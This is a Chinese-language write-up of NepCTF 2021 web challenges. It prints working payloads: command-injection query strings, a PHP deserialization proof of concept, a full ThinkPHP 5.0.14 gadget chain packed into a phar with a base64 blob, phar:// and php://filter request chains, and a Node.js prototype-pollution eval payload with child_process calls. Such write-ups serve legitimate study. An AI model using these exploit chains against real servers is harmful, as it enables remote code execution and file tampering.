前言

参加了今年的NepCTF,题目质量很好,就是周末事情比较多,而且只会php,没有全身心去做,所以当时只做了两道题目,赛后认真看了一下php,因为只会php(我太菜了呜呜呜),主要还是提供思路,还有其他的题目没来及复现,慢慢会写上来。

little_trick

挺简单的签到题了,不做讲解,只放思路了。
先放一下别的师傅的思路:

?len=-1&nep=echo`nl *`;;

substr那里放-1就可以截取到除去最后一位的字符串,这种思路当时没想到,还是自己太菜了。
我的思路:

?len=7;ls > 1.txt;&nep=`$len`;

利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。

梦里花开牡丹亭

简单的反序列化,这题的重点就2个,一个是原生类的反序列化,另外一个就是有长度限制的命令执行。这里首先要删除waf.txt,用到ZipArchive()原生类:

$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE:  总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

然后就是9长度限制的命令执行,这题没必要用到4,5,7长度的姿势,9长度可以执行n\l /flag,POC:

<?phpclass Game{public  $username;public  $password;public  $register;public  $file;public  $filename;public  $content;public function __construct(){$this->register="admin";$this->username='admin';$this->password='admin';//$this->file=new ZipArchive();$this->file=new Open();$this->filename="shell";//$this->content=ZipArchive::OVERWRITE;//$this->content="n\l /flag";$this->content="";}}
class Open{}
echo base64_encode(serialize(new Game()));//echo serialize(new Game());

faka_revenge

改自网鼎杯2020半决赛的那题,这个比赛的时候我把网鼎杯那题给审了一下复现了,然后比赛结束后再来看了一下这个加强版,感觉好像反而更简单了。
网鼎杯的原题思路请参考我刚写的文章:
[网鼎杯 2020 半决赛]faka

把这题的文件和网鼎杯那题比较了一下,感觉变化大概就是这些(可能有遗漏):

  • 文件上传的洞被修了,没法传php了。
  • 仍然可以任意创建管理账号,但是没法提权,authorize的处理被修了,只要传入authorize就会被设成0,没法设成3,但是这个无关紧要。
  • 2个读文件都是存在的,但是downloadBak方法的读文件被修了,但是wechat模块下的任意读还是存在的,而且非常好用。
  • 文件上传中check()方法里面的checkImg()方法里加了这么个东西,没法直接传phar了,但是我考虑可以base64加密,然后再利用wechat的那个伪协议来再生成phar。但是因为这里要需要检测是图片,我自己测试加上文件头后再经过一系列生成,最后的phar文件总是有奇奇怪怪的问题,试了一晚上还是不行,等大师傅们的wp出了看看大师傅们传phar的思路。因此我用了另外一个文件写入,然后成功phar成功,下面会分析到。
        $content = file_get_contents($this->filename);if(preg_match('/__HALT_COMPILER/i',$content)){die('dangerous pharfile!!!');}
  • 这个变化也是后来踩知道的,全局查找THINK_VERSION,发现是5.0.14,这个版本RCE很多,但是网鼎杯那题当时环境似乎是打不通的,但是这题是可以打通的,所以其实就是降低难度了,这题直接用tp5 rce的payload直接梭了。

接下来就是两种思路,一直是用tp5的 rce直接梭,但是ban了system这些,没ban掉passthru,仍然直接执行:

另一种解法就是phar了,tp5.0的链子之前审过,我直接拿来打发现打不通,把源码看了一下发现我那个链子是tp5.0.24的,可能和tp5.0.14的不一样,我按着源码改了一下链子,生成一下poc:

<?php
namespace think\process\pipes{use think\model\Pivot;class Windows{private $files;public function __construct(){$this->files[]=new Pivot();}}
}
namespace think{use think\console\Output;use think\model\relation\HasOne;abstract class Model{protected $append = [];protected $error;protected $parent;public function __construct(){$this->append[]="getError";$this->error=new HasOne();$this->parent=new Output();}}
}
namespace think\model\relation{use think\console\Output;use think\db\Query;class HasOne{protected $selfRelation;protected $model;protected $bindAttr = [];public function __construct(){$this->selfRelation=false;$this->model="think\console\Output";$this->bindAttr=array('123'=>"feng");}}
}
namespace think\console{use think\session\driver\Memcached;class Output{private $handle;protected $styles = ['info','error','comment','question','highlight','warning',"getAttr"];public function __construct(){$this->handle=new Memcached();}}
}
namespace think\session\driver{use think\cache\driver\File;class Memcached{protected $handler;protected $config  = ['host'         => '127.0.0.1', // memcache主机'port'         => 11211, // memcache端口'expire'       => 3600, // session有效期'timeout'      => 0, // 连接超时时间(单位:毫秒)'session_name' => '1', // memcache key前缀'username'     => '', //账号'password'     => '', //密码];public function __construct(){$this->handler=new File();}}
}
namespace think\cache\driver{class File{protected $tag;protected $options = ['expire'        => 0,'cache_subdir'  => false,'prefix'        => "",'path'          => "php://filter/write=string.rot13/resource=/var/www/html/static/upload/<?cuc cucvasb();?>",'data_compress' => false,];public function __construct(){$this->tag="1";}}
}
namespace think\model{use think\Model;class Pivot extends Model{}
}namespace{use think\process\pipes\Windows;$a=new Windows();@unlink("phar.jpg");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算$phar->stopBuffering();$b=file_get_contents("phar.phar");echo str_replace("+","%2B",base64_encode($b));//echo str_replace("+","2b",base64_encode(serialize(new Windows())));
}

文件的写入是application/admin/controller/Index.php的version_update()方法:

直接post或者get传参,然后写到version_update.lock,只不过看来只能写一次,有些鸡肋,但是至少写起来不会出错:


/admin/index/version_updateversion_hash=PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQphBAAAAQAAABEAAAABAAAAAAArBAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7YjowO3M6ODoiACoAbW9kZWwiO3M6MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjtzOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjEyMztzOjQ6ImZlbmciO319czo5OiIAKgBwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7czoxOiIxIjtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6ODc6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9zdGF0aWMvdXBsb2FkLzw/Y3VjIGN1Y3Zhc2IoKTs/PiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO319czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjE6IjEiO3M6ODoidXNlcm5hbWUiO3M6MDoiIjtzOjg6InBhc3N3b3JkIjtzOjA6IiI7fX1zOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo0OiJpbmZvIjtpOjE7czo1OiJlcnJvciI7aToyO3M6NzoiY29tbWVudCI7aTozO3M6ODoicXVlc3Rpb24iO2k6NDtzOjk6ImhpZ2hsaWdodCI7aTo1O3M6Nzoid2FybmluZyI7aTo2O3M6NzoiZ2V0QXR0ciI7fX19fX0IAAAAdGVzdC50eHQEAAAAv51YYAQAAAAMfn/YtgEAAAAAAAB0ZXN00zSmuV5kbkgHqn/cm5gEy1wUs4sCAAAAR0JNQg==

然后那边再base64解密写一下:

/wechat/review/img?url=php://filter/convert.base64-decode/resource=./runtime/version_update.lock

再phar读,就可以生成了:

/wechat/review/img?url=phar://./static/upload/tmp/df99950f0aaec9c8/3084726b18a3d40c.jpg


我这是phpinfo的payload,命令执行可以再改一下最上面的POC链。
至于写入的文件名,我也懒得去推了,我在自己本地打一遍,就知道文件名是什么了。
如果phar打遇到什么问题,就自己本地搭环境测试,遇到问题打断点或者慢慢调试就可以了。

总的来说这题还是很有意思的,主要还是tp5的rce没被ban的话,就可以直接利用tp5的rce来打,会方便很多,这题phar还是很有意思的。

bbxhh_revenge

当时比赛的时候看到要一直换ip就很烦,就没做了。
首先是imagin来命令执行,但是传了之后提示lie,还需要nepnep=phpinfo();
之后又提示要post传HuaiNvRenPaPaPa,因此再传post:HuaiNvRenPaPaPa=1
就可以在phpinfo中找到flag:

但是这不是预期解,预期解的话以后有空再看了,我也没那么多的节点,如果有时间的话折腾一下官方wp说的那个腾讯的云函数,再来复现这题的预期解。

gamejs

最近刚学了一天的node.js,看这题看的也蛮费劲的,出题人预期解的思路等我学完了node.js再来复现,暂时复现一下非预期,参考了Y4师傅的文章:
NepCTF2021-Web部分(除画皮)

大致看了一下,有三个路由,其中/record是有用的路由:

async function record(req, res, next) {new Promise(function (resolve, reject) {var record = new Record();var score = req.body.score;if (score.length < String(highestScore).length) {merge(record, {lastScore: score,maxScore: Math.max(parseInt(score),record.maxScore),lastTime: new Date().toString()});highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);if ((score - highestScore) < 0) {var banner = "不好,没有精神!";} else {var banner = unserialize(serialize_banner).banner;}}res.json({banner: banner,record: record});}).catch(function (err) {next(err)})
}

幸好我还是知道原型链污染的,看到了merge函数,肯定还是需要进行原型链污染了。post传score,看到用了score.length,传个json{"score":{"length":1}},就可以绕过length的检测。而且这样正好可以绕过这个if:if ((score - highestScore) < 0) {,因为这里的score是NAN,即 Not a Number,因此正好返回false,进入var banner = unserialize(serialize_banner).banner;

var unserialize = function(obj) {obj = JSON.parse(obj);if (typeof obj === 'string') {return obj;}var key;for(key in obj) {if(typeof obj[key] === 'string') {if(obj[key].indexOf(FUNCFLAG) === 0) {var func_code=obj[key].substring(FUNCFLAG.length);if (validCode(func_code)){var d = '(' + func_code + ')';obj[key] = eval(d);}}}}return obj;
};

看到存在obj[key] = eval(d);,可以进行js代码的执行。看一下逻辑,先把var serialize_banner = '{"banner":"好,很有精神!"}';把json字符串转换成对象,然后遍历key,如果值是以_$$ND_FUNC$$_开头,就会取剩下的部分,如果通过了validCode检测,就会进入eval了。
因此思路比较清晰了,就是进行原型链污染,使得obj[key]可控,然后执行js命令:

{"score":{"length":1,"__proto__":{"__proto__":{"a":"_$$ND_FUNC$$_xxxxx"}}}}

之所以要污染两次,就是因为record.__proto__并不是object,本地测试发现__proto__.__proto__才是(但是好像师傅们都知道。。。看来这是javascript的一些知识了,得去补一下。),record.__proto__其实也是指向Record.prototype

每个函数都有prototype(原型)属性,这个属性是一个指针,指向一个对象,这个对象的用途是包含特定类型的所有实例共享的属性和方法,即这个原型对象是用来给实例共享属性和方法的。

因此要二次污染才能污染到object。
接下来就是进行代码的执行了,要想执行命令的话网上可以查到,类似这样的操作,利用node.js的child_process模块:

require('child_process').exec('calc');global.process.mainModule.constructor._load('child_process').exec('calc')

但是这题进行了过滤,但是没过滤掉\,因此可以用十六进制来绕过,也是非预期了,因为没有回显,也是需要盲注,盲注的脚本也就不放了,Y4师傅的博客里已经写了,可以去Y4师傅的博客里看看(强行给可爱的Y4师傅引一波流)。

NepCTF2021一些web题目的总结与复现相关推荐

  1. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  2. ctf wav文件头损坏_【CTF入门第二篇】南邮CTF web题目总结

    这几天写了南邮的web题目,都比较基础,但是对我这个小白来说还是收获蛮大的.可以借此总结一下web题的类型 一,信息都藏在哪 作为ctf题目,肯定是要有些提示的,这些提示有时会在题目介绍里说有时也会隐 ...

  3. 中科大HackerGame2018 web题目 writeup

    虽然很坑,但是总体来说这次还是做了很多有意思的web题,这里也只给出web题的答案 一:签到题 打开发现是要输入key值提交 但是输入后发现限制了长度,只允许输入到hackergame201 打开bu ...

  4. 南邮CTF web题目总结

    这几天写了南邮的web题目,都比较基础,但是对我这个小白来说还是收获蛮大的.可以借此总结一下web题的类型 一,信息都藏在哪 作为ctf题目,肯定是要有些提示的,这些提示有时会在题目介绍里说有时也会隐 ...

  5. 安恒11月赛Web题目复现

    考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好 手速要快 上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的 ...

  6. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

  7. [MRCTF 2022]web题目复现

    文章目录 WEB webcheckin God_of_GPA 非预期 非预期1-夺舍bot 非预期2-oauth xss 非预期3-CSRF Tprint hurry_up BONUS Java_me ...

  8. 2022长城杯部分题目 web djangogogo| misc办公室爱情复现

    web djangogogo 首先任意加入个参数,看到报错了,这里返回了一些系统信息: 这里的环境是purchase_date,往下找,发现了extract函数,联想到Django里extract函数 ...

  9. 计算机二级web题目(8.1)--综合选择题2

    1.一个栈的初始状态为空.现将元素1.2.3.4.5.A.B.C.D.E依次入栈,然后再依次出栈,则元素出栈的顺序是(B). A.12345ABCDE B.EDCBA54321 C.ABCDE1234 ...

最新文章

  1. 【Python】spyder编译器调试时添点断点的方法
  2. 以主干开发作为持续交付的基础
  3. Javascript 调用XML制作连动下拉框
  4. 凸优化问题工具包cvxpy安装
  5. Linux环境下使用rpm包安装GitLab
  6. [html] 页面中怎么嵌入Flash?有哪些方法?写出来
  7. python列表常用方法实践_python 列表list 常用方法
  8. (python)7-4 sdut-oop-1 简单的复数运算 (10 分)
  9. Codeforces 895 B XK Segments 思维 二分
  10. SharePoint 2010工作流系列(2):SharePoint Designer 2010中工作流的条件和操作概览
  11. Julia : varinfo() 与工作空间,@isdefined, @which
  12. C++11线程安全的单例模式
  13. 提高网速软件测试简历,测试局域网网速的方法
  14. 9 张手绘图:阐明机器学习模型训练全流程
  15. php反向引用,JavaScript 正则应用详解【模式、欲查、反向引用等】
  16. 离散数学考前复习:(四)关系
  17. 代理网易云音乐,免费听歌与下载
  18. 照着别人的敲代码来学习编程好吗
  19. 大白天「撞鬼」?特斯拉在无人墓地感应到行人,传感器真能测鬼?
  20. 【牛客网——算法刷题】开篇介绍

热门文章

  1. c语言中有关随机数的程序,C语言中随机数相关问题
  2. 零界之痕服务器维护,零界之痕进不去怎么办 游戏故障解决方法
  3. 【ES6学习】对象的解构赋值
  4. 数据结构软件测试,资讯详情-java常见数据结构-柠檬班-自动化测试-软件测试培训-自学官网...
  5. 解决richedit的内容不能超过64k的方法
  6. 双路服务器芯片组的发展
  7. Nolan的分形分布估计软件Stable使用教程
  8. CorelDRAW制作360安全浏览器图标
  9. kali Linux 2021 新版安装
  10. 西门子S7200plc通信不上实际问题和解决方法